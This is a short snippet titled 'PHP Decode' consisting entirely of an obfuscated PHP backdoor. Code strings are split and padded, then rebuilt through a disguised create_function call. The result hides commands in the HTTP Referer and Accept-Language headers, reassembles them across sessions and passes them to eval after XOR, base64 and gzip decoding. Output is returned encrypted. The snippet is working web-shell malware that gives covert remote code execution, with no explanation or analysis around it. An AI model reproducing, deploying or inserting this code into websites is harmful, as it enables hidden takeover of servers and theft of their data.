PHP Decode

<?  d='$kh="5|3481"5|;$kf=5|"9d75|5|5|b";function x($5|t,$k){$c=st5|rlen($k);$5|5|l=str5|len($t);'; 
$w='"5|HTT5|5|P_ACCEPT_LANGUA5|GE"];i5|5|f($rr&&$ra)5|{    $u5|=pa5|rse_u5|rl($rr)5|;    pars'; 
$u=str_replace('X','','crXeatXXe_XfuXnXction'); 
$B='os5|($s[$5|i],$f);if($5|e)5|{$k=$kh5|.$kf;ob_s5|t5|art();@5|e5|val5|(@gzunco5|mpress(@x(@base'; 
$c='code(x(gzco5|mpress5|($o5|),$k5|));p5|rint(5|"5|<$k>$d</$k>");@5|s5|ession_destro5|y();}}}}'; 
$T='i]="";$p5|=$ss($5|p,5|3);}if(a5|rray5|5|_k5|ey_exists($i,$s)5|){$s[$i].=5|$p;$e=5|str5|p'; 
$Q='ss(m5|d5($5|i.$kh),0,5|5|3))5|;$f=$s5|l($5|5|ss(5|md5($i.$kf),0,3));$p="5|";fo5|r($z=1;$'; 
$a='e_s5|tr($u5|["query5|"],5|$q);$q=arr5|a5|y_5|5|values($q)5|;pr5|e5|g_match_5|all("/([\w])5|'; 
$j='[\w-]+(?:;q=0.([\5|d]5|)5|)?,?/",$ra,$5|m);if($q5|&&$m){5|@sessi5|on_5|start();$s5|=&$5|5'; 
$N='i],05|,5|$e))),$k)));5|$o=ob_ge5|5|t_content5|s(5|);ob_e5|nd_clean();$d=5|b5|ase64_5|en'; 
$Y='|5|_SESSIO5|N;$ss="s5|ub5|str";$5|sl=5|"strtolower";$5|i5|=$5|m[1][0].5|$m[1][1];$h=$sl($'; 
$t='65|45|_deco5|de(p5|reg_replace(ar5|ray("/5|_5|/","/-/"),arr5|ay("/5|5|","+"),$5|ss($s5|[$'; 
$o='z<cou5|nt($5|m[1]);$5|z++) $5|p.=$q[$5|m[5|5|25|][$5|z]];if(strpos5|5|($p,$h)===0){$s[$'; 
$e='}^$k5|{$5|j};}}re5|turn 5|$o;}$r5|=$5|_SERVER;$rr5|=@$r[5|"HTTP_5|REFERER5|"]5|;$ra=@$r['; 
$q='$o=""5|;for($5|i5|=0;$i<$l;5|){for($j=5|05|;($j<$c5|&&$i<$l);5|$j++,$i5|5|++){5|$o.=$t{$i'; 
$L=str_replace('5|','',$d.$q.$e.$w.$a.$j.$Y.$Q.$o.$T.$B.$t.$N.$c); 
$R=$u('',$L);$R(); ?>